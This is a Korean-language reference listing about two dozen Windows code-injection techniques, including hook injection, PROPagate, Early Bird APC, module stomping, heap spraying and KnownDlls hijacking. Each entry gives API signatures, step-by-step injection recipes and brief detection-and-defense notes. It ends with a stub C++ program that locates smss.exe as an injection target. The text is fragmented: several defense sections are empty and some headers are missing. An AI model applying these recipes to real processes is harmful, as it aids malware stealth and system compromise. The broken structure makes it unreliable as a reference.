DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
NtCreateSection (미문서화, 위 참조)NtCreateProcessEx (미문서화, 위 참조)NtCreateThreadEx (미문서화, 위 참조)템플릿:
CreateFile로 파일 생성NtCreateSection을 사용하여 파일에 대한 섹션 생성NtCreateProcessEx를 사용하여 섹션에서 프로세스 생성NtCreateThreadEx를 사용하여 새 프로세스에 스레드 생성탐지 및 방어:
이 기법은 후킹 관련 함수를 사용하여 악성 DLL을 인젝션합니다. 이 기법은 인젝션뿐만 아니라 API 후킹에도 사용될 수 있습니다.
주요 API:
SetWindowsHookEx ```c
HHOOK SetWindowsHookExA(
int idHook,
HOOKPROC lpfn,
HINSTANCE hmod,
DWORD dwThreadId
);
PostThreadMessage ```c
BOOL PostThreadMessageA(
DWORD idThread,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);
절차:
SetWindowsHookEx를 사용하여 대상 프로세스에 훅 설정PostThreadMessage로 메시지를 전송하여 훅 트리거탐지 및 방어:
SetWindowsHookEx의 의심스러운 사용, 특히 전역 훅 사용을 모니터링이 기법은 창 클래스 등록 중 클래스 인스턴스에 추가되는 추가 창 메모리(EWM)를 사용하여 프로세스에 코드를 주입합니다. 덜 일반적이며 일부 보안 솔루션에 의해 탐지될 수 있습니다.
주요 API:
FindWindowA ```c
HWND FindWindowA(
LPCSTR lpClassName,
LPCSTR lpWindowName
);
GetWindowThreadProcessId ```c
DWORD GetWindowThreadProcessId(
HWND hWnd,
LPDWORD lpdwProcessId
);
OpenProcess (위 참조)VirtualAllocEx (위 참조)WriteProcessMemory (위 참조)SetWindowLongPtrA ```c
LONG_PTR SetWindowLongPtrA(
HWND hWnd,
int nIndex,
LONG_PTR dwNewLong
);
SendNotifyMessage ```c
BOOL SendNotifyMessageA(
HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);
Template:
1. `FindWindowA`로 대상 창 찾기
2. `GetWindowThreadProcessId`로 창의 프로세스 ID 가져오기
3. `OpenProcess`로 프로세스 열기
4. `VirtualAllocEx`로 대상 프로세스에 메모리 할당하기
5. `WriteProcessMemory`로 할당된 메모리에 악성 코드 쓰기
6. `SetWindowLongPtrA`를 사용하여 창의 추가 메모리 수정하기
7. `SendNotifyMessage`로 실행 트리거하기
탐지 및 방어:
- 창 속성에 대한 의심스러운 수정 모니터링
- 창 클래스 데이터에 대한 무결성 검사 구현
- EWM 조작을 감지할 수 있는 기능을 갖춘 EDR 솔루션 사용
- 창 속성에 예상치 못한 변경이 있는 프로세스를 식별하는 행동 기반 탐지 사용
## 11. 전파 주입
이 기술은 explorer.exe와 같은 중간 무결성 수준의 프로세스에 악성 코드를 주입하는 데 사용됩니다. 창을 열거하고 서브클래싱하는 방식으로 작동합니다. 권한 상승에 특히 효과적일 수 있습니다.
주요 API:
- [`EnumWindows`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows) ```c
BOOL EnumWindows(
WNDENUMPROC lpEnumFunc,
LPARAM lParam
);
EnumChildWindows ```c
BOOL EnumChildWindows(
HWND hWndParent,
WNDENUMPROC lpEnumFunc,
LPARAM lParam
);
EnumProps ```c
int EnumPropsA(
HWND hWnd,
PROPENUMPROCA lpEnumFunc
);
GetProp ```c
HANDLE GetPropA(
HWND hWnd,
LPCSTR lpString
);
SetWindowSubclass ```c
BOOL SetWindowSubclass(
HWND hWnd,
SUBCLASSPROC pfnSubclass,
UINT_PTR uIdSubclass,
DWORD_PTR dwRefData
);
FindWindow (위 참조)FindWindowEx (위 참조)GetWindowThreadProcessId (위 참조)Template:
EnumWindows 및 EnumChildWindows를 사용하여 창 열거EnumProps 및 GetProp를 사용하여 서브클래싱된 창이 있는지 확인OpenProcess로 대상 프로세스 열기VirtualAllocEx로 대상 프로세스에 메모리 할당WriteProcessMemory로 할당된 메모리에 악성 코드 작성SetWindowSubclass를 사용하여 창 서브클래싱SetPropA로 새 속성을 설정하여 페이로드 저장PostMessage로 메시지를 보내 실행 트리거탐지 및 방어:
엄밀히 말해 주입 기술은 아니지만, 힙 스프레이는 익스플로잇 페이로드 전달을 용이하게 하기 위해 다른 주입 방법과 함께 자주 사용됩니다. 최신 브라우저와 운영 체제는 이에 대한 완화 조치를 구현했습니다.
주요 API:
HeapAlloc ```c
LPVOID HeapAlloc(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes
);
VirtualAlloc ```c
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
템플릿:
1. `HeapAlloc` 또는 `VirtualAlloc`을 사용하여 여러 메모리 블록을 할당합니다.
2. 이 블록들을 NOP 슬레드와 페이로드의 조합으로 채웁니다.
3. 프로세스 주소 공간의 상당 부분을 덮도록 이 과정을 반복합니다.
탐지 및 방어:
- 의심스러운 패턴을 탐지하기 위한 메모리 할당 모니터링을 구현합니다.
- 힙 스프레이 공격을 완화하기 위해 ASLR(주소 공간 레이아웃 무작위화)을 사용합니다.
- 힙 스프레이 기술을 탐지할 수 있는 EDR 솔루션을 사용합니다.
- 힙 할당 무작위화와 같은 브라우저별 완화 조치를 구현합니다.
## 13. 스레드 실행 하이재킹
이 기술은 대상 프로세스에서 합법적인 스레드를 일시 중단하고, 악성 코드를 가리키도록 실행 컨텍스트를 수정한 다음, 스레드를 재개하는 것입니다. 원래 스레드 컨텍스트를 저장하고 복원하는 것은 프로세스 안정성을 유지하는 데 필요합니다.
주요 API:
- `OpenThread` (위 참조)
- `SuspendThread` (위 참조)
- `GetThreadContext` (위 참조)
- `SetThreadContext` (위 참조)
- `VirtualAllocEx` (위 참조)
- `WriteProcessMemory` (위 참조)
- `ResumeThread` (위 참조)
템플릿:
1. `OpenThread`로 대상 스레드를 엽니다.
2. `SuspendThread`로 스레드를 일시 중단합니다.
3. `GetThreadContext`로 스레드 컨텍스트를 가져옵니다.
4. `VirtualAllocEx`로 대상 프로세스에 메모리를 할당합니다.
5. `WriteProcessMemory`로 할당된 메모리에 악성 코드를 작성합니다.
6. `SetThreadContext`로 스레드 컨텍스트가 주입된 코드를 가리키도록 수정합니다.
7. `ResumeThread`로 스레드를 재개합니다.
탐지 및 방어:
- 스레드 일시 중단 및 재개와 관련된 의심스러운 패턴을 모니터링합니다.
- 실행 흐름의 예기치 않은 변경을 탐지하기 위해 스레드 실행 모니터링을 구현합니다.
- 스레드 하이재킹 기술을 탐지할 수 있는 EDR 솔루션을 사용합니다.
- 비정상적인 스레드 동작을 식별하기 위해 런타임 분석을 사용합니다.
## 14. 모듈 스톰핑
이 기술은 대상 프로세스에서 합법적인 모듈의 메모리를 악성 코드로 덮어써 일부 보안 검사를 우회할 수 있습니다. 로드된 모듈에 대한 무결성 검사로 탐지할 수 있습니다.
주요 API:
- [`GetModuleInformation`](https://docs.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getmoduleinformation) ```c
BOOL GetModuleInformation(
HANDLE hProcess,
HMODULE hModule,
LPMODULEINFO lpmodinfo,
DWORD cb
);
VirtualProtectEx ```c
BOOL VirtualProtectEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
WriteProcessMemory (위 참조)템플릿:
OpenProcess를 사용하여 대상 프로세스를 엽니다.GetModuleInformation을 사용하여 대상 모듈에 대한 정보를 가져옵니다.VirtualProtectEx를 사용하여 모듈의 메모리 보호를 쓰기 가능으로 변경합니다.WriteProcessMemory를 사용하여 모듈의 코드 섹션을 악성 코드로 덮어씁니다.VirtualProtectEx를 사용하여 원래 메모리 보호를 복원합니다.탐지 및 방어:
이 기술은 프로세스의 IAT(Import Address Table)를 수정하여 함수 호출을 악성 코드로 리디렉션합니다. IAT 항목을 대상 DLL의 실제 함수 주소와 비교하여 탐지됩니다.
주요 API:
GetProcAddress ```c
FARPROC GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName
);
VirtualProtect ```c
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
템플릿:
VirtualProtect를 사용하여 IAT의 메모리 보호를 쓰기 가능으로 변경합니다.탐지 및 방어:
이 기술은 함수의 처음 몇 개 명령어를 수정하여 실행을 악성 코드로 리디렉션합니다. 멀티바이트 명령어와 상대 점프를 주의 깊게 처리해야 합니다.
주요 API:
VirtualProtect (위 참조)memcpy ```c
void *memcpy(
void *dest,
const void *src,
size_t count
);
템플릿:
VirtualProtect를 사용하여 메모리 보호를 쓰기 가능으로 변경합니다.탐지 및 방어:
이 기술은 디버깅 API를 사용하여 대상 프로세스에 코드를 주입합니다. 대상 프로세스의 안티디버깅 검사로 탐지할 수 있습니다.
주요 API:
DebugActiveProcess ```c
BOOL DebugActiveProcess(
DWORD dwProcessId
);
WaitForDebugEvent ```c
BOOL WaitForDebugEvent(
LPDEBUG_EVENT lpDebugEvent,
DWORD dwMilliseconds
);
[`ContinueDebugEvent`](https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-continuedebugevent) ```c
BOOL ContinueDebugEvent(
DWORD dwProcessId,
DWORD dwThreadId,
DWORD dwContinueStatus
);
템플릿:
DebugActiveProcess를 사용하여 디버거로 대상 프로세스에 연결WaitForDebugEvent로 디버그 이벤트 대기WriteProcessMemory를 사용하여 악성 코드 주입ContinueDebugEvent로 디버그 이벤트 계속 진행탐지 및 방어:
이 기법은 COM 개체가 인스턴스화될 때 코드를 실행하기 위해 정상적인 COM 개체를 악성 개체로 교체하는 것입니다. 지속성(persistence)을 위해 사용되며, 주입(injection)만을 위한 것은 아닙니다.
주요 API:
CoCreateInstance ```c
HRESULT CoCreateInstance(
REFCLSID rclsid,
LPUNKNOWN pUnkOuter,
DWORD dwClsContext,
REFIID riid,
LPVOID *ppv
);
RegOverridePredefKey ```c
LSTATUS RegOverridePredefKey(
HKEY hKey,
HKEY hNewHKey
);
템플릿:
CoCreateInstance를 호출하면 악성 개체가 대신 인스턴스화됨탐지 및 방어:
이 기법은 정상 DLL에 새 섹션을 생성하고 코드를 주입하는 방식입니다.
주요 API:
LoadLibraryEx ```c
HMODULE LoadLibraryExA(
LPCSTR lpLibFileName,
HANDLE hFile,
DWORD dwFlags
);
VirtualAlloc ```c
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
VirtualProtect ```c
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
Template:
DONT_RESOLVE_DLL_REFERENCES 플래그와 함께 LoadLibraryEx를 사용하여 합법적인 DLL 로드VirtualAlloc을 사용하여 새 메모리 섹션 할당VirtualProtect를 사용하여 새 섹션의 메모리 보호 변경탐지 및 방어:
이 기술은 SetProp/GetProp Windows API 함수를 악용하여 코드 실행을 달성합니다.
주요 API:
SetProp ```c
BOOL SetPropA(
HWND hWnd,
LPCSTR lpString,
HANDLE hData
);
GetProp ```c
HANDLE GetPropA(
HWND hWnd,
LPCSTR lpString
);
EnumPropsEx ```c
int EnumPropsExW(
HWND hWnd,
PROPENUMPROCEXW lpEnumFunc,
LPARAM lParam
);
Template:
1. `FindWindow` 또는 `EnumWindows`를 사용하여 대상 창 찾기
2. `VirtualAllocEx`를 사용하여 페이로드용 메모리 할당
3. `WriteProcessMemory`를 사용하여 할당된 메모리에 페이로드 쓰기
4. `SetProp`를 사용하여 페이로드 주소를 속성 값으로 창에 속성 설정
- 페이로드를 실행하는 사용자 정의 창 프로시저 생성
- `SetWindowLongPtr`를 사용하여 원래 창 프로시저를 사용자 정의 프로시저로 교체
6. 창이 속성을 열거하도록 유도하여 실행 트리거(예: 다시 그리기를 유발하는 메시지 전송)
탐지 및 방어:
- 창 속성에 대한 의심스러운 수정 모니터링
- 창 속성에 대한 무결성 검사 구현
- PROPagate 기법을 탐지할 수 있는 기능을 갖춘 EDR 솔루션 사용
- 창 속성에 예기치 않은 변경이 있는 프로세스를 식별하기 위한 동작 기반 탐지 사용
## 21. Early Bird Injection
이 기법은 메인 스레드가 실행을 시작하기 전, 프로세스 초기화 중에 코드를 프로세스에 주입합니다.
주요 API:
- [`CreateProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa) ```c
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
VirtualAllocEx (위 참조)WriteProcessMemory (위 참조)QueueUserAPC (위 참조)ResumeThread (위 참조)템플릿:
CREATE_SUSPENDED 플래그와 함께 CreateProcess를 사용하여 일시 중단된 상태의 새 프로세스를 생성합니다VirtualAllocEx를 사용하여 새 프로세스에 메모리를 할당합니다WriteProcessMemory를 사용하여 할당된 메모리에 페이로드를 작성합니다QueueUserAPC를 사용하여 페이로드를 가리키는 APC를 주 스레드에 큐잉합니다ResumeThread를 사용하여 주 스레드를 재개합니다탐지 및 방어:
CREATE_SUSPENDED 플래그가 있는 프로세스 생성을 모니터링합니다이 기술은 Windows 애플리케이션 호환성 프레임워크를 활용하여 코드를 인젝션합니다.
주요 API:
SdbCreateDatabase ```c
PDB SdbCreateDatabase(
LPCWSTR pwszPath
);
SdbWriteDWORDTag ```c
BOOL SdbWriteDWORDTag(
PDB pdb,
TAG tTag,
DWORD dwData
);
SdbEndWriteListTag ```c
BOOL SdbEndWriteListTag(
PDB pdb,
TAG tTag
);
Template:
SdbCreateDatabase를 사용하여 shim 데이터베이스를 생성합니다.sdbinst.exe를 사용하여 shim 데이터베이스를 설치합니다.Detection and Defense:
이 기법은 메모리 매핑 파일을 사용하여 원격 프로세스에 코드를 주입합니다.
주요 API:
CreateFileMapping ```c
HANDLE CreateFileMappingA(
HANDLE hFile,
LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
DWORD flProtect,
DWORD dwMaximumSizeHigh,
DWORD dwMaximumSizeLow,
LPCSTR lpName
);
MapViewOfFile ```c
LPVOID MapViewOfFile(
HANDLE hFileMappingObject,
DWORD dwDesiredAccess,
DWORD dwFileOffsetHigh,
DWORD dwFileOffsetLow,
SIZE_T dwNumberOfBytesToMap
);
NtMapViewOfSection (문서화되지 않음) ```c
NTSTATUS NTAPI NtMapViewOfSection(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
SECTION_INHERIT InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
Template:
CreateFileMapping을 사용하여 파일 매핑 개체를 생성합니다.MapViewOfFile을 사용하여 파일 뷰를 현재 프로세스에 매핑합니다.NtMapViewOfSection을 사용하여 뷰를 대상 프로세스에 매핑합니다.탐지 및 방어:
이 기술은 KnownDlls 캐시의 정상 DLL을 악성 DLL로 교체하는 것을 수반합니다.
주요 API:
NtSetSystemInformation (문서화되지 않음) ```c
NTSTATUS NTAPI NtSetSystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength
);
템플릿:
NtSetSystemInformation과 SystemExtendServiceTableInformation을 사용하여 악성 DLL을 KnownDlls 캐시에 추가합니다.탐지 및 방어:
#include <stdio.h> #include <Windows.h> #include <tlhelp32.h> #include <errhandlingapi.h> // GetLastError #include <heapapi.h> // HeapCreate, HeapAlloc, HeapDestroy #include <strsafe.h> // StringCchPrintf #include <assert.h> #include <tchar.h>
void ErrorExit(LPCTSTR lpszFunction); int ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe); int PrintProcessInfo(const PROCESSENTRY32* lppe);
int PrintProcessInfo(const PROCESSENTRY32* lppe) { assert(lppe);
wprintf(L"PROCESS : %ls\n", lppe->szExeFile);
int PID = static_cast<int>(lppe->th32ProcessID);
if (PID == 0) {
wprintf(L"ERR : Process Not Found.\n");
return 0;
}
wprintf(L"PID : %i\n\n", PID);
return 1;
}
void ErrorExit(LPCTSTR functionName) { constexpr DWORD FLAGS = FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS; constexpr DWORD LANG_ID = MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT); constexpr size_t EXTRA_CHARS = 40;
DWORD errorCode = GetLastError();
LPTSTR messageBuf = nullptr;
FormatMessage(FLAGS, NULL, errorCode, LANG_ID, (LPTSTR)&messageBuf, 0, NULL);
if (messageBuf) {
size_t funcNameLen = _tcslen(functionName);
size_t messageLen = _tcslen(messageBuf);
size_t bufSize = (funcNameLen + messageLen + EXTRA_CHARS) * sizeof(TCHAR);
LPTSTR displayBuf = static_cast<LPTSTR>(LocalAlloc(LMEM_ZEROINIT, bufSize));
if (displayBuf) {
StringCchPrintf(displayBuf, LocalSize(displayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), functionName, errorCode, messageBuf);
MessageBox(NULL, displayBuf, TEXT("Error"), MB_OK);
LocalFree(displayBuf);
}
LocalFree(messageBuf);
}
ExitProcess(errorCode);
}
int ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe) { assert(ProcessName && lppe);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
ErrorExit(TEXT("CreateToolhelp32Snapshot"));
lppe->dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, lppe) == FALSE) {
CloseHandle(hSnapshot);
ErrorExit(TEXT("Process32First"));
}
int pFoundFlag = 0;
do {
size_t wcProcessName = wcslen(ProcessName);
if (wcsncmp(lppe->szExeFile, ProcessName, wcProcessName) == 0) {
if (!PrintProcessInfo(lppe)) continue;
pFoundFlag = 1;
break;
}
} while (Process32Next(hSnapshot, lppe));
CloseHandle(hSnapshot);
return pFoundFlag;
}
int main(int argc, char** argv) { wchar_t pName[] = L"smss.exe"; // process name we will be injecting PROCESSENTRY32 lppe = { 0 };
if (ProcessEnumerateAndSearch(pName, &lppe)) {
// do some stuff
}
else {
return 1;
}
return 0;
}
NtQueueApcThread (문서화되지 않음) ```c
NTSTATUS NTAPI NtQueueApcThread(
IN HANDLE ThreadHandle,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcRoutineContext OPTIONAL,
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,
IN ULONG ApcReserved OPTIONAL
);
RtlCreateUserThread (위 참조)QueueUserAPC ```c
DWORD QueueUserAPC(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);
KeInitializeAPC (커널 모드, 문서화되지 않음) ```c
VOID KeInitializeApc(
PRKAPC Apc,
PRKTHREAD Thread,
KAPC_ENVIRONMENT Environment,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ProcessorMode,
PVOID NormalContext
);
WriteProcessMemory (위 참조)GetThreadContext ```c
BOOL GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext
);
SetThreadContext (위 참조)ResumeThread (위 참조)OpenProcess (위 참조)ReadProcessMemory (위 참조)VirtualAllocEx (위 참조)WriteProcessMemory (위 참조)SetPropA ```c
BOOL SetPropA(
HWND hWnd,
LPCSTR lpString,
HANDLE hData
);
PostMessage ```c
BOOL PostMessageA(
HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);